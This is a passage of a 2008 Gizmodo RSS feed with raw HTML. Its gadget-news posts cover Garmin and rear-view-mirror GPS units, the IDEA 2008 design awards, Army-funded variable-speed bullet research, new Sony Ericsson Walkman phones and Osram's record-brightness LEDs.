loaded with optional BlueChart(R) g2 Vision marine cartography, the nüvi 500 series is great on the water, providing detailed chart-specific information, spot soundings, inter tidal zones, wrecks, port plans, restricted areas and more. The nüvi 500 is ideal for the occasional boating enthusiast who wants one navigational device for foot, car, bike or boat.</p> <p>The nüvi 500 and 550 for Europe come preloaded with either country-specific City Navigator NT Map Data (500) or full European City Navigator NT Map Data (550) with detailed street and topographic mapping.</p> <p>The nüvi 550 will be available in the UK in September at a RRP of GBP299</p> <p>See the Garmin nüvi 500 series on Stand N118 - British International Motor Show at ExCel, London - 23 July - 3 August 2008: http://www.britishmotorshow.co.uk </p> </blockquote> <p>[<a href="http://gpstracklog.typepad.com/gps_tracklog/2008/07/garmin-nuvi-5-1.html">GPStracklog</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=784f4127a4b3ba32e06a370d349f1dea" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=784f4127a4b3ba32e06a370d349f1dea" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=N0lsvg"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=N0lsvg" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=szfHBJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=szfHBJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=V1BsBJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=V1BsBJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=TQx3fj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=TQx3fj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=GQI4Bj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=GQI4Bj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342513354" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342513354/garmins-new-nuvi-500-gps-does-driving-walking-boating-nav-in-one-unit Tue, 22 Jul 2008 08:30:00 EDT Kit Eaton http://gizmodo.com/index.php?op=postcommentfeed&postId=5027627&view=rss&microfeed=true http://gizmodo.com/5027627/garmins-new-nuvi-500-gps-does-driving-walking-boating-nav-in-one-unit <![CDATA[ The Best, Weirdest, and Most Wonderful Gadget Designs of 2008 [IDEA 2008 Awards] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/bestofidea2008.jpg" align="left" hspace="4" vspace="2" width="600" height="400" style="display:block;float:none;" /><iframe src="http://digg.com/api/diggthis.php?u=http://digg.com/gadgets/The_Best_Weirdest_Most_Wonderful_Gadget_Designs_of_2008" align="right" frameborder="0" height="82" scrolling="no" width="55"></iframe>The 2008 International Design Excellence Awards are in, and they come loaded with tons of weird and wonderful gadgets. We have picked the best, the weirdest, and the most wonderful, from laser liners that look like Wall-E's Eve evil twin, microwave containers with lids, and wall-mounted home server enclosures straight out of Star Trek, to self-propelled sprayers (like me), NYC condom dispensers/wrappers (no connection there), a "vibrating massager" that looks like an aubergine, and even a precision timing detonation system.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Silver-SuperEZConnector-web.jpg" height="196" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> Dyno Nobel Super EZ Connector - Precision Timing Detonation System<br> <b>What is it:</b> "Dyno Nobel's Super EZ Connectors form the attachments of a precision, non-electric, timed detonation system used in blasting. They link together shocktubes, a type of specialized fuse which burns at a rate of 7000 feet per second."<br> <b>Why we like it:</b> They look like Scalextric controls. They make things explode. What is not to like.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Bronze-FORM_6-web.JPG" height="196" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> Jimmyjane FORM 6 Water-Resistant, Rechargeable Vibrating Massager<br> <b>What is it:</b> "Form 6 is the only rechargeable vibrating massager that is also water-resistant, making it suitable for use in the shower."<br> <b>Why we like it:</b> Water-resistant. Rechargeable. Vibrator. As if anyone needed any more reasons <i>why</i>.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/finalist-geodemicrowave-web.jpg" height="196" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> Geode Microwave<br> <b>What is it:</b> "Geode is a high-efficiency microwave that is more intuitive, attractive, efficient and sustainable than standard models. It is composed of two parts: a base and a lid."<br> <b>Why we like it</b>: It looks amazingly good—as opposed to your usual fugly microwave oven—and it's incredibly useful. Too bad this one is just a concept for now.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Finalist_Hitachi_Laser_Liner_Series.jpg" height="385" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget</b>: Hitachi Laser Liner Series<br> <b>What is it</b>: "The Hitachi Laser Liner Series is ideal for the positioning of slope structures such as stairs, handrails, internal building structures, electric lighting facilities and the alignments of tile joints for outer walls or plastering."<br> <b>Why we like it</b>: It looks like an evil robot. Too bad the laser can be set from "line up" to "stun" to "DESTROY HUMANS."</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Bronze-TuneStudio-Web.jpg" height="196" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> Belkin TuneStudio<br> <b>What is it:</b> "TuneStudio is a compact four-channel mixer for the iPod."<br> <b>Why we like it:</b> Knobs. Pointy ones.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Bronze_lite2go_web.jpg" height="196" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> Lite2go Lamp<br> <b>What is it:</b> "The lite2go is a sustainably-designed household lamp that sheds the excess of packaging by eliminating it all together."<br> <b>Why we like it:</b> The lamp is the package is the lamp.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Bronze_Parruda_web.jpg" height="202" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> Parruda Self-Propelled Sprayer<br> <b>What is it:</b> "This (vehicle) is an upgrade from the self-propelled Parruda Sprayer launched in 2000, which incorporates technological, functional and style enhancements designed to meet the requirements of agricultural input consumers." It uses GPS, has new headlights, and increased field of vision.<br> <b>Why we like it:</b> A vehicle. To spray. The cockpit, the wheels, the handrails, all looks space-age weird and that's why we like it. That and the fact that I'm picturing myself driving it down the US1 from NYC to the Florida keys in one of these, spraying everyone with, humm, dunno, <i>some</i> kind of sprayable thing.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Bronze-Amphibian-web.jpg" height="196" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> The Amphibian™ Dynamic Scuba Fin<br> <b>What is it:</b> "This design allows divers to walk and climb boat ladders without removing their fins."<br> <b>Why we like it:</b> So simple, and knowing the pain it is to do this, so effective. I want them. Also, it's called amphibian, like some of the ladies of the world.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Finalist_The_Mule.jpg" height="391" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> The Mule<br> <b>What is it:</b> "The Mule is an all-in-one stacker, transporter and portable work bench, designed for ease of use and to help increase productivity and reduce workplace injuries. It has a tough, steel-framed platform that can handle up to 350 pounds of material."<br> <b>Why we like it:</b> Not to be confused by its <a href="http://gizmodo.com/368651/new-video-of-bigdog-quadruped-robot-is-so-stunning-its-spooky">Boston Dynamics' relative</a>, this Mule useful in so many ways, sturdy, and lets you get out your manly DIY instincts to abandon them two hours later, when you wake up in the hospital without three of your fingers and a major head contusion.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/gold-lightbulb-web.jpg" height="385" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> frog Light Bulb<br> <b>What is it:</b> "The light bulb concept takes the form of the traditional light bulb, but one-ups it in efficiency by using a high-output LED as the light source. This prototype also uses half the power of a fluorescent while lasting ten times longer."<br> <b>Why we like it:</b> We like our friends at frog design. I like this light even more, because I love the shape of the classic bulb and I would hate to see it disappear in a fashion-disco-club nightmare of minimalist LED lights.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Gold-Speedglas-web.jpg" height="385" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> Speedglas™ SL (Super Light)<br> <b>What is it:</b> "Speedglas SL is a welding helmet with an auto-darkening filter to protect the eyes."<br> <b>Why we like it:</b> It's the world's lightest welding helmet and it looks like a helmet I would wear while trying to battle cyber-dragons in sci-fi Middle Earth. And one more thing: Flashdance.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Gold-SylvanSport_GO-web.jpg" height="160" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget</b>: SylvanSport GO - Mobile Adventure Gear<br> <b>What is it</b>: "This is a three-in-one towable vehicle that morphs from a compact, traveling profile to a rugged toy-hauler mode to a spacious and comfortable camping configuration."<br> <b>Why we like it</b>: TRANSFORMERS. And apparently you can go camping with it.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Gold-TheRidgeRunner-web.jpg" height="196" width="275" align="left" hspace="4" vspace="2"></p> <p>The Gadget: The RidgeRunner™<br> <b>What is it:</b> "The RidgeRunner is designed to increase safety and efficiency for construction workers as they install wooden roof trusses. Placement of a truss requires a worker at the peak to align and brace it."<br> <b>Why we like it:</b> Not that we are going to install wooden roof trusses anytime soon, but the heavy-duty industrial look of the RidgeRunner makes me want to start doing that now.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Gold-TouchSight-web.jpg" height="196" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> Touch Sight<br> <b>What is it:</b> "Touch Sight is a revolutionary digital camera designed for visually impaired people. Simple features make it easy to use, including a unique feature which records sound for three seconds after pressing the shutter button. The user can then use the sound as reference when reviewing and managing the photos. Touch Sight does not have an LCD but instead has a lightweight, flexible Braille display sheet which displays a 3D image by embossing the surface, allowing the user to touch their photo."<br> <b>Why we like it:</b> The design is simple and the idea is great, specially the Braille display sheet with embossed images. Too bad this one is just a concept too (designed by Samsung).</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Silver-Armarac-web.jpg" height="385" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> Armarac - 19' Wall Mounter Server Enclosure<br> <b>What is it:</b> "The Armarac represents the evolution of the traditional 19-inch computer rack. It is the world's first zero-footprint, compact, wall-mounted enclosure for computer and networking equipment."<br> <b>Why we like it:</b> I want to put a few servers when I move to my new NYC apartment and I don't want a horrible mini-rack. Neither I would have the space. This seems like the perfect solution, it's smart and it will look great (even if I install it in a closet.)</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Silver-ArtengoRollnet-web.jpg" height="196" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> Artengo RollNet<br> <b>What is it:</b> "Rollnet makes it possible to play table tennis in apartments or outdoors, on big tables and small tables &mdash; wherever someone feels like striking up a game."<br> <b>Why we like it:</b> For those of your how play table tennis, being able to do it anywhere, without a full table, the RollNet is perfect. For the rest of us, we just like the concept and the looks.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Silver-bloombergFlex-web.jpg" height="196" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> Bloomberg Flexible Display<br> <b>What is it:</b> "This highly flexible and compact dual-head display allows subscribers to the Bloomberg Professional to easily adjust the screen's display height, angle, vertical and horizontal orientations for optimum use with different software tools."<br> <b>Why we like it:</b> One day, displays will look almost invisible from their sides, and be configurable in any way possible. The Bloomberg Flexible Display brings that day a lot closer. &gt;This&lt; close.</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/silver-nyccondom-web.jpg" height="405" width="275" align="left" hspace="4" vspace="2"></p> <p><b>The Gadget:</b> NYC Condom Dispenser/NYC Condom Wrapper<br> <b>What is it:</b> "The New York City Condom and Dispenser is an initiative of the NYC Department of Health, since the free distribution of condoms is an effective measure against HIV infections and unwanted pregnancies."<br> <b>Why we like it:</b> Because.</p> <p>As you can see, it's refreshing to see that great design gets applied to every single aspect of our lives. [<a href="http://www.idsa.org/IDEA2008/categories.html">IDEA awards</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=d913a631ef3bd9549aa6d394b7c45a64" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=d913a631ef3bd9549aa6d394b7c45a64" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=jU1Jal"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=jU1Jal" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=EYRXWJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=EYRXWJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=ickHJJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=ickHJJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=s8kE8j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=s8kE8j" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=FS6iij"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=FS6iij" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342493212" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342493212/the-best-weirdest-and-most-wonderful-gadget-designs-of-2008 Tue, 22 Jul 2008 08:00:00 EDT Jesus Diaz http://gizmodo.com/index.php?op=postcommentfeed&postId=5027619&view=rss&microfeed=true http://gizmodo.com/5027619/the-best-weirdest-and-most-wonderful-gadget-designs-of-2008 <![CDATA[ Toy Rocket Inspires Design of Variable-Speed Bullets [Guns] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/VSbullet.jpg" align="left" hspace="4" vspace="2" width="494" height="263" style="display:block;float:none;" />Repurposing the design of a kid's toy rocket into an innovative gun may sound pretty dark, but it creates a weapon with selectable lethality. Rockets made by Lund and Company Invention of Chicago use a liquid hydrogen variable fuel-air mix to give a selectable-power launch, and now the US Army is funding research to apply the tech to guns. The Variable Velocity Weapon System uses a similar liquid or gaseous fuel-air mix in a combustion chamber to propel bullets from the rifle, which lets you set the bullet speed as non-lethal at 33 feet to lethal at 330 feet, for example. Current research VVWS are .50 calibre rifles, but the design is scalable from "handgun to howizter." Sounds like a useful addition to a soldier's arsenal, though I suspect there'll be plenty of worries of the "I used the wrong setting" type. [<a href="http://technology.newscientist.com/article/dn14372-toy-rocket-inspires-variablespeed-bullets.html?DCMP=ILC-hmts&nsref=news5_head_dn14372">New Scientist</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=8621ad8d016cc28b3985b87425e320f1" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=8621ad8d016cc28b3985b87425e320f1" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=TNoVwz"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=TNoVwz" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=hM1DdJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=hM1DdJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=LlvSUJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=LlvSUJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=IQhpQj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=IQhpQj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=fUIS6j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=fUIS6j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342482619" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342482619/toy-rocket-inspires-design-of-variable+speed-bullets Tue, 22 Jul 2008 06:56:00 EDT Kit Eaton http://gizmodo.com/index.php?op=postcommentfeed&postId=5027620&view=rss&microfeed=true http://gizmodo.com/5027620/toy-rocket-inspires-design-of-variable+speed-bullets <![CDATA[ Rear-View Mirror GPS To Come to US, Named SmartMirror [GPS] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/smartmirror.jpg" align="left" hspace="4" vspace="2" width="494" height="168" style="display:block;float:none;" />Previously named the DS400GB, the SmartMirror is a GPS system that is mounted in place of your conventional rear-view mirror, and has a rear-facing cam input. With Navigon Mobile Navigator 6.5 inside, it's got "reality view", a 4-inch touchscreen, integrated speakers and Bluetooth and takes SD cards. It's actually got two inputs for rear-view cameras, which may be good news for the parking-skill-challenged. It sounds like a neat solution, but I'm a little unconvinced that mounting a GPS high up there on the windscreen isn't actually going to distract you from looking in the rear-view mirror&mdash; after all, we know how <a href="http://gizmodo.com/340515/area-man-parks-car-on-house-roof-tells-police-gps-made-me-do-it">distracting</a> GPS can be. SmartMirror will be available August 1st for $799. [<a href="http://www.navigadget.com/index.php/2008/07/21/ds-400gb-is-now-smartmirror-and-headed-for-us">Navigadget</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=4a4a3c7f72569b8e1ae5806a16da6fc8" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=4a4a3c7f72569b8e1ae5806a16da6fc8" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=fN1wTj"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=fN1wTj" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=Bh9RpJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=Bh9RpJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=xc7gkJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=xc7gkJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=fOfIMj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=fOfIMj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=z4Hn3j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=z4Hn3j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342423273" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342423273/rear+view-mirror-gps-to-come-to-us-named-smartmirror Tue, 22 Jul 2008 06:04:00 EDT Kit Eaton http://gizmodo.com/index.php?op=postcommentfeed&postId=5027616&view=rss&microfeed=true http://gizmodo.com/5027616/rear+view-mirror-gps-to-come-to-us-named-smartmirror <![CDATA[ Sony Pushes Out Three New Walkmen Phones, the W302, W902 and W595 [Cellphones] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/newWalkmenphones1_01.jpg" align="left" hspace="4" vspace="2" width="494" height="294" style="display:block;float:none;" />It's the third birthday of Sony Ericsson's Walkman phone label, and to celebrate it's launching three new music-based cellphones. The W302 and W902 (left, center in the image) are both candybar cells, with the 302 having an FM radio, and 2-megapixel cam, and the 902 with a 5-megapixel cam and apparently matching the high audio quality of the <a href="http://gizmodo.com/354745/sony-ericsson-w980i-walkman-clamshell-hits-the-right-chords">W980</a> phone. The W595 is a slide phone with built-in stereo speakers so users can "share sounds with their friends" (read: annoy passers-by with irritating tunes) but it also has twin jacks so you can share music privately. All four phones are quad-band GSM, have "shake control," come in a selection of colors and will hit the streets at the end of the year. Press release below, which also details some new accessories like wireless portable speakers.</p> <blockquote> <p>To coincide with the Walkman™ phone’s third birthday, Sony Ericsson has unveiled three brand new mobile phones giving music on the go to more users than ever. Best-in-class sound quality takes music on your mobile to the next level.</p> <p>London July 22 - Building on three year’s experience and technology 30 years in the making, Sony Ericsson continues to lead the way in the mobile phone music arena with cutting edge music technology and unique accessories.</p> <p>Today, Sony Ericsson unveils its latest innovative additions to the Walkman™ phone family: the W902, W595 and W302, and seven new music accessories. Sony Ericsson is unveiling phones and accessories with superior sound quality and pioneering features that take Walkman™ phones beyond music and expectations with fantastic extras such as great imaging and video capabilities.</p> <p>“Since the launch of our first Walkman™ phone in 2005, Sony Ericsson has continued to pioneer a superior mobile music experience - and the 77 million Walkman™ phones sold to date are testament to this commitment,” says Ben Padley, Head of the Music Category at Sony Ericsson. “With this latest range of phones and accessories, we are offering high quality sound and a rich feature set that cements our position as a leader in the music phone category. We are pushing the boundaries of what people think is possible and are offering best-in-class sound quality and our most exciting Walkman™ phones to date.”</p> <p>The list of pioneering and innovative features found on Walkman™ phones continues to be unmatched in the industry. Features like the music recognition application TrackID™, SensMe™, for matching your mood to the music and Shake control to change tracks with the flick of your hand make Walkman™ phones stand out from the rest.</p> <p>Sony Ericsson can now also announce best-in-class sound quality and a clear audio experience from its W902 Walkman™. The W902 features the same superior sound quality as the W980, about to launch shortly, which was rated ”best audio experience” this month, in a trial conducted in Germany by TESTfactory*.</p> <p>With the W902, users can listen to music the way it should be heard: true to original. It’s also a mobile phone for those that want it all, with a five megapixel camera and great video capturing and sharing capabilities, an 8GB Memory Stick Micro™ (M2) for storing more than 8,000 songs**, the W902 is a top-of-the-range device that will make you the envy of your friends.</p> <p>The W595 Walkman™ is perfect for those who want to share sounds with their friends. Store and play more than 1,900 songs** through the built in stereo speakers. Plug in the in-box sharing jack to listen silently to your tunes with a friend or Bluetooth™ your sounds to Sony Ericsson’s range of wireless speakers.</p> <p>The new W302 Walkman™ is packed with impressive features in an affordable no-compromise slim handset. Targeting all audiences, the phone comes complete with an impressive two megapixel camera, FM radio, TrackID™ and 512MB Memory Stick Micro™ (M2).</p> <p>The next generation of accessories includes three new sets of speakers, the MBS-200, MBS-400 and MPS-100, to help music lovers go beyond the individual and play music directly from their mobile phone. Enhancing its music accessories collection Sony Ericsson has also introduced three new stereo headphones, HBH-IS800, HPM-88 and HPM-66 for the optimal listening experience.</p> <p>The Walkman™ phone through history<br> Walkman™ phone continues to chart high</p> <p>• August 2005 – Sony Ericsson launches its very first Walkman™ phone – the W800<br> • December 2005 - Three million Walkman™ phones sold to date<br> • April 2006 – Sony Ericsson launches its first Walkman™ phone music accessories; MPS-60 portable speakers, which goes on to sell millions of units worldwide<br> • October 2006 – Sony Ericsson launches its first slider Walkman™ phone – the W850 which also introduces the unique TrackID™ music recognition application<br> • November 2006 –Sony Ericsson launches the W950 Walkman™ with the biggest storage yet - 4GB<br> • December 2006 – 20 million Walkman™ phones sold to date<br> • February 2007 – Sony Ericsson launches its slimmest Walkman™ - the W880<br> • November 2007 – W910 Walkman™ phone with Turbo 3G/HSDPA launches as a complete entertainment device<br> • December 2007 – Walkman™ phone sales hit 57 million<br> • February 2008 – Sony Ericsson launches the W350, with Walkman™ on top and W380 with gesture control<br> • July 2008 – W980 Walkman™ phone with clear audio experience launches</p> <p>With Sony Ericsson today music is reborn. What are you waiting for? Join the Walkman™ phone family and experience music how it was meant to be heard.</p> <p>For more information visit www.sonyericsson.com/reveals</p> <p>The W302 Walkman™ is an EDGE/GSM/GPRS 850/900/1800/1900 phone that will be available in selected markets in Midnight Black and Sparkling White in Q4 of 2008.</p> <p>The W902 Walkman™ is a UMTS/HSDPA 2100 and EDGE/GSM/GPRS 850/900/1800/1900 phone that will be available in selected markets in Volcanic Black, Wine Red and Earth Green in Q4 of 2008.</p> <p>The W595 Walkman™ is a UMTS/HSDPA 2100 and EDGE/GSM/GPRS 850/900/1800/1900 phone that will be available in selected markets in Active Blue, Cosmopolitan White, Jungle Grey and Lava Black in Q4 of 2008.</p> <p>The W595c Walkman™ is a GSM/GPRS/EDGE 850/900/1800/1900 phone that will be available in selected markets in Active Blue, Cosmopolitan White and Jungle Grey in Q4 of 2008.</p> <p>The W595a Walkman™ is a GSM/GPRS/EDGE 850/900/1800/1900 phone that will be available in selected markets in Active Blue, Cosmopolitan White, Jungle Grey and Lava Black in Q4 of 2008.</p> <p>The Wireless Portable Speaker MBS-200 will be available in selected markets from Q4 2008.</p> <p>The Wireless Portable Speaker MBS-400 will be available in selected markets from Q4 2008.</p> <p>The Portable Speakers MPS-100 will be available in selected markets from Q4 2008</p> <p>The Wireless Stereo Headphones HBH-IS800 will be available in selected markets from Q4 2008</p> <p>The Noise Cancelling Headphones HPM-88 will be available in selected markets from Q4 2008</p> <p>The Active Headphones HPM-66 will be available in selected markets from Q4 2008</p> </blockquote> <p>[<a href="http://www.sonyericsson.com/">Sony Ericsson</a>]</p> <br style="clear: both;"/> <a href="http://www.pheedo.com/feeds/ht.php?t=c&amp;i=73c73fa0e196615c8221570fd1b35e22"><img src="http://www.pheedo.com/feeds/ht.php?t=v&amp;i=73c73fa0e196615c8221570fd1b35e22" border="0" /></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=73c73fa0e196615c8221570fd1b35e22" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=FMZ71Z"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=FMZ71Z" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=JYV5cJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=JYV5cJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=XQ1oqJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=XQ1oqJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=6HUEtj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=6HUEtj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=64KU7j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=64KU7j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342386416" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342386416/sony-pushes-out-three-new-walkmen-phones-the-w302-w902-and-w595 Tue, 22 Jul 2008 05:09:44 EDT Kit Eaton http://gizmodo.com/index.php?op=postcommentfeed&postId=5027610&view=rss&microfeed=true http://gizmodo.com/5027610/sony-pushes-out-three-new-walkmen-phones-the-w302-w902-and-w595 <![CDATA[ Osram Push White LEDS to World-Record Brightness, Super Efficiency [LEDs] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/white_leds.JPG" height="265" width="300" align="left" hspace="4" vspace="2"/>It's an interesting week in the world of LEDs: on the weekend we heard about <a href="http://gizmodo.com/5027090/purdue-university-breakthrough-could-lead-to-low+cost-mass+produced-leds">ultra-cheap</a> ones, and today Osram (yes, the light bulb people) have news that they've pushed white LEDs to world-record brightness. By optimizing the diode, light converter and the package, their lab test squeezed 500 lumens out of a single LED at 1.4A. That's bright enough for projector tech, and certainly makes the single unit good for car lighting and even interior lights. At a lower, more optimal, current the 1mm-square white LED had an <a href="http://en.wikipedia.org/wiki/Luminous_efficacy">efficiency</a> of 136 lumens/W which makes it about twice as efficient as standard fluorescent lamps and 10 times a normal bulb. Press release below.</p> <blockquote><p> OSRAM Achieves Quantum Leap in Brightness and Efficiency of White LEDs<br /> SANTA CLARA, Calif. &mdash;(Business Wire)&mdash; Jul. 21, 2008 By improving all the technologies involved in the manufacture of LEDs, OSRAM development engineers have achieved new records for the brightness and efficiency of white LEDs in the laboratory. Under standard conditions with an operating current of 350 mA, brightness peaked at a value of 155 lm, and efficiency at 136 lm/W. In generating these results, researchers used white prototype LEDs with 1 mm-square chips. The light produced had a color temperature of 5000K, with color coordinates at 0.349/0.393 (cx/cy).</p> <p>The key to OSRAM's success was the efficient interplay among all the advances made in materials and technologies. A perfectly matched system of optimized chip technology, a highly advanced and extremely efficient light converter, and a special high-performance package all combined to produce the world record performance results.</p> <p>Potential applications for this high-performance LED technology include general illumination, the automotive sector, and any application that calls for large, high-power LEDs. These semiconductor light sources are also suitable for high operating currents. At 1.4 A, they can produce up to 500 lm of white light. This means that in the future the LEDs can also be used for projection applications as blue and green chip versions.</p> <p>Dr. Rudiger Muller, CEO at OSRAM Opto Semiconductors, commented: "It was the successful convergence of OSRAM know-how in different fields that led to these new records in efficiency and brightness. Starting with the light converter, we will be gradually moving these new developments into production." OSRAM has already applied for patents for the technologies that lie behind these world record performance levels </p></blockquote> <p>Since Osram says plans are now to move this tech from the lab into production, we can certainly expect to see LEDs in even more places in the future. [<a href="http://www.osram-os.com/">Osram</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=21269a6e3db0ca8a3d9b9b2206391da2" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=21269a6e3db0ca8a3d9b9b2206391da2" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=4Om7Mz"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=4Om7Mz" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=MzXaBJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=MzXaBJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=cn1wLJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=cn1wLJ" border="0"></img></a> <a 